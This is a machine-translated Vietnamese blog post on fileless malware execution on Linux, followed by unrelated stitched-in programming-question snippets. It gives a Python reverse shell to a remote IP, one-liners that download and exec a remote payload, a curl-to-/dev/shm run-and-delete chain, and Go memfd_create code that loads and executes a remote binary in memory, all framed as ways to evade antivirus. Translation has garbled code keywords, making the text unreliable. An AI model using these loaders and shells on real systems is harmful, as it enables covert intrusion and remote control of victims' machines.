- VisualStudio2022
- pprof-Hướng dẫn sử dụng nó trong bản mạng trực tiếp
- Triển khai C# các loại hộp chọn nhiều màu lựa chọn thả xuống, cây lựa chọn nhiều màu lựa chọn thả xuống và các nút tối đa
- [Ghi chú học tập] Cơ sở dữ liệu cấu trúc: cat tree
Tuyên bố miễn trừ trách nhiệm: Bài viết này chủ yếu được sử dụng để chia sẻ kỹ thuật và tất cả nội dung chỉ mang tính chất tham khảo. Tôi không chịu trách nhiệm về bất kỳ hậu quả pháp lý nào do việc sử dụng hoặc dựa vào thông tin trong bài viết này gây ra. Người đọc nên tự đánh giá rủi ro và tuân thủ các luật và quy định có liên quan.
@ .
Bằng cách mở rộng ý tưởng phát triển khai không sử dụng tệp powercat, chúng tôi có thể xem xét việc thực thi các loại tệp thông qua mã độc hại như quá trình tải và tải nghiêm trọng, đồng thời chúng tôi cũng có thể sử dụng triển khai không sử dụng tệp để tránh tính năng chống vi-rút tĩnh.
Vì python được cài đặt mặc định trong hầu hết các hệ thống Linux và python là ngôn ngữ lập trình nên bạn có thể trực tiếp use command line code để thực hiện các thao tác, rất giống với powershell. sử dụng tệp giống nhau .
Trước đó, hãy chuẩn bị một tập lệnh python độc hại và đặt nó trên máy chủ từ xa để tải xuống tệp.
enter socket enter quy trình con s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.220.151', 4444)) while True: command = s.recv(1024).decode('utf -8 ') if command.low() == 'exit': break start ra = subprocess.run(command, shell=True, capture_output=True) s.send(output.stdout + out.stderr) s.close()
Sau đó, sử dụng python để tải xuống và thực thi tệp để đạt được hiệu quả thực hiện không có tệp.
import urllib.request import subprocess # Tải xuống tập lệnh Python độc hại url = 'http://192.168.220.151/payload.py' reply = urllib.request.urlopen(url) code = reply.read().decode(' utf-8') # Thực thi tập lệnh đã được tải xuống exec(code)
Tuy nhiên, đoạn mã hóa ở dạng lệnh. command.
nhập urllib.request phản hồi = urllib.request.urlopen('http://192.168.220.151/payload.py') code = reply.read().decode('utf-8') exec(code)
Bạn cũng có thể sử dụng trực tiếp python -c để thực thi một dòng mã.
nhập urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))
hoặc.
python3 -c "nhập urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))"
Kích hoạt web dịch vụ trong thư mục chứa tải để tải xuống các tệp độc hại.
Kết thúc cuộc tấn công kích hoạt giám sát.
Thiết bị cuối cùng được kiểm soát Kiểm soát vận hành, tải xuống và thực thi mã độc, đồng thời thực hiện phát triển khai không cần có tệp.
Kết thúc cuộc tấn công đã được nhận thành công.
Khi tôi bắt đầu được kiểm soát, không tìm thấy tải trọng nào và tệp đã được phát triển thành công.
Do đặc điểm của các ngôn ngữ biên dịch tĩnh như golang, C, C++ nên dù có tránh thế nào cũng cần phải có file trong hệ thống để thực thi, nhưng điều này không có nghĩa là không thể phát triển hoàn toàn không có tập tin.
/dev/shm
Một tập tin hệ thống trong bộ nhớ được sử dụng (tmpfs
), tệp được lưu trong bộ nhớ, đảm bảo tệp không được ghi vào đĩa./dev/shm
Và được thực thi từ thư mục này, tệp được lưu trữ hoàn toàn trong bộ nhớ, đảm bảo không có tệp nào được ghi vào đĩa nên có thể đạt được Thực hiện hoàn toàn không có tập tin ứng dụng./dev/shm
thư mục có thể tăng cường bảo mật hơn nữa.Do đó, để phát triển khai báo không cần tệp thực thi nhị phân trong các ngôn ngữ được biên dịch, có thể sử dụng thư mục /dev/shm, ví dụ:
vòng tròn -s http://192.168.220.151/helloNum -o /dev/shm/helloNum && chmod +x /dev/shm/helloNum && /dev/shm/helloNum && rm /dev/shm/helloNum
Tác vụ này sẽ tải tệp xuống thư mục /dev/shm/, lưu trữ trực tiếp vào bộ nhớ để thực thi và xóa tệp sau khi thực thi.
Nếu quá trình thực hiện chương trình độc hại gây gián đoạn do Do đó, nên bổ sung thêm chương trình Bảo vệ tệp độc hại.
Nếu một chương trình tự động xóa được ghi vào một tệp độc hại, thì nếu chương trình độc hại đó bị chấm dứt chủ động, các hoạt động tiếp theo sẽ không thể thực hiện bình thường. Thao tác có ý nghĩa được sử dụng để tránh bị phát hiện bảo mật và sau đó trạng thái thực thi của chương trình độc hại được theo dõi thời gian thực hiện thông tin này qua tệp.
memfd_create là một hệ thống lệnh gọi được cung cấp bởi nhân Linux, có thể tạo các tệp ẩn danh chỉ tồn tại trong bộ nhớ.
Đây là một ví dụ:
package main import ( "fmt" "io" "net/http" "os" "golang.org/x/sys/unix" "syscall" ) func main() { // Tạo file bộ nhớ ẩn fd, err : = unix .MemfdCreate("helloNum", unix.MFD_CLOEXEC) nếu có lỗi != nil { Panic(err) } // Gói bộ mô tả tệp dưới dạng os.File memFile := os.NewFile(uintptr(fd), "helloNum") defer memFile.Close() // Tải file nhị phân về tập tin bộ nhớ resp, err := http.Get("http://192.168.220.151/helloNum" ) if err != nil { Động loạn(err) } trì hoãn resp.Body.Close() _, err = io.Copy (memFile, resp.Body) nếu có lỗi != nil { Panic(err) } // Đặt lại bộ mô tả tệp về vị trí bắt đầu_, err = memFile.Seek(0, 0) if err != nil { Panic(err) } // Use syscall.Exec để thực thi tệp nhị phân này trong bộ nhớ err = syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ()) if err != nil { Khởi động loạn(err) } }
unix.MemfdCreate("helloNum", unix.MFD_CLOEXEC)
: Tạo một tệp nhớ ẩn danh (còn gọi là tệp sao lưu bộ nhớ). drive drive số lượng lớn.MFD_CLOEXEC
cờ có nghĩa là thực thi người điều khiển
loạt các chức năng, bộ mô tả này sẽ tự động được đóng lại.os.NewFile(uintptr(fd), "helloNum")
: Bộ nhớ tập tin mô tả sẽ được tạo fd
Chuyển đổi thành công os.File
Object để bạn có thể sử dụng các phương thức thao tác với tệp trong chuẩn thư viện.http.Get("http://192.168.220.151/helloNum")
: Tải xuống tệp từ URL được chỉ định.io.Copy(memFile, resp.Body)
: Sao chép dữ liệu trong nội dung phản hồi HTTP vào bộ nhớ tệp.memFile.Seek(0, 0)
: Di chuyển con trỏ đọc-ghi của bộ nhớ về tệp đầu.syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ())
: Đây là một phần quan trọng của mã hóa.syscall.Exec
Chức năng được sử dụng để thay thế hình ảnh của quá trình hiện tại bằng một chương trình mới. Ở đây, nó đã cố gắng thực hiện một phân tích nhị phân trong bộ nhớ bằng cách sử dụng bộ giải thích của tệp trong bộ nhớ.
/proc/self/fd/
: Đây là một đặc tả thư mục chứa các biểu tượng liên kết tới tất cả các tệp mô tả được mở bởi hiện tại quy trình.fmt.Sprint(memFile.Fd())
: Chuyển đổi tệp mô tả của bộ nhớ tệp thành một chuỗi.[]sợi dây{}
: Điều này được chuyển tới Thực thi
Danh sách tham số trống ở đây có nghĩa là không có số dòng lệnh nào được truyền đi.os.Environ()
: Điều này được chuyển tới Thực thi
Danh sách các môi trường biến, chứa các môi trường biến của hiện tại quy trình.Viết chương trình diễn ra trong một số thao tác sau 3 giây và biên dịch nó thành tệp thực thi dưới dạng tệp thực tế nhị phân thi độc hại từ xa để trình diễn.
Start web service.
Biên dịch đoạn mã trên thành phần thực thi nhị phân memfd và thực thi nó.
Kiểm tra vị trí tệp xác thực này trong quá trình thực hiện, không có đích tệp nào được tải trực tiếp vào bộ nhớ, thay vào đó thế hình ảnh của memfd tiến trình bằng chương trình độc hại từ xa của chúng tôi.
Chào mừng bạn theo dõi tài khoản công khai "D1TASec" để nhận được nhiều thứ tư hơn.
Bài viết cuối cùng nói về nỗi đau của các ngôn ngữ được biên dịch! Nhưng tôi có thể làm được điều đó mà không cần tài khoản dữ liệu ! có thể làm điều đó mà không cần tài liệu ! các bài viết liên quan Tôi hy vọng bạn sẽ ủng hộ blog của tôi trong tương lai .
Có thể chuyển đổi một chuỗi theo cách này? nguyên - chúng tôi gọi parsInt(value), if not, if value thuộc loại double - chúng tôi gọi parsDoubl
Vấn đề của tôi là thế này, tôi biên dịch bằng GCC-8 (được cài đặt trên Mac thông qua home-brew) và sau đó thực thi trong thiết bị đầu cuối. S&
Tôi đã sử dụng a-videoosphere để tạo cảnh a. Ý tưởng không hiệu quả? Đây là mã của tôi: hàm var gargamel = 0;
Tôi đang sử dụng công cụ khai báo ISAAC để tạo ra một số nguyên ngẫu nhiên. đầu tiên, tôi cần thay đổi chúng từ giá trị kép từ 0 thành 1. Làm cách nào tôi có thể thực hiện công việc này trong Java? has for this to redirect the number of thành
Tôi đã nhận được giá trị hex trong phạm vi 0x0000 đến 0x01c2 từ BLE đến điện thoại của mình dưới dạng string.
Tôi có một siêu cấp Động vật và một Con chó thuộc lớp con. lớp con biểu tượng và siêu hạng đối tượng.
Bạn Bạn muốn cải thiện vấn đề này? Đã cập nhật câu hỏi để chỉ tập trung vào một vấn đề chỉnh sửa bài đăng này. Đã đóng 6 năm trước.
Tôi đang cố gắng truy vấn khoảng cách của người dùng. (địa điểm: PFGe
Hãy xem xét ví dụ: http://jsfiddle.net/KWLu7/16/ var watch = $scope.$watch ( "
Câu hỏi này đã có câu trả lời ở đây: Giới hạn thuốc generic với từ khóa 'siêu' (6 câu trả lời) Đã đóng 2 năm trước. Tôi có một trình duyệt trang danh sách cho phép chuyển đổi từ danh sách này sang danh sách khác
Tại sao đoạn mã sau không chọn giá trị ẩn siêu lớp gần nhất? Lớp A lớp B mở rộng Đặc điểm A TC[-T] { def show(t: T): Stri
Đây là những gì tôi muốn làm def merge[A, B, C](or: Hoặc[A,B]*)(ẩn ev1: A x, x => x)) Giới thiệu về scala - suy ra (các) lớp cha chung
CQL3: TẠO BẢNG data_double ( datetime
Def prepList[B >: A](tiền tố: PlayList[B]) : PlayList[B] = prefix.fol
struct Foo1 struct Foo2 foo_op(x::Abst
Một số mẫu mã: public class Main { class SomeType { } class A { protected T createSome
Có thể chỉ chấp nhận loại siêu lớp của loại chung của lớp không? Thứ tôi đang tìm kiếm là: class MyClass { public void myMethod(TS someObject
Trong mã của tôi, tôi có một số ArrayList được chuyển sang sắp xếp phương thức. tất cả các kiểu này đều được khai báo bởi Sorter. Máy sắp xếp
Nếu câu hỏi này đã được hỏi, vui lòng liên kết và đóng câu hỏi này. một API khác phức tạp hơn nhiều (và có khả năng nguy hiểm) để sử dụng. phức hợp liên kết, tôi quyết định
Tôi đang cố gắng xây dựng một ứng dụng Android với một số phụ thuộc, nhưng một trong số chúng gây ra lỗi này: Tệp lớp không hợp lệ: Lớp mô-đun thông tin bị thiếu một sup
Tôi là một lập trình viên xuất sắc, rất xuất sắc!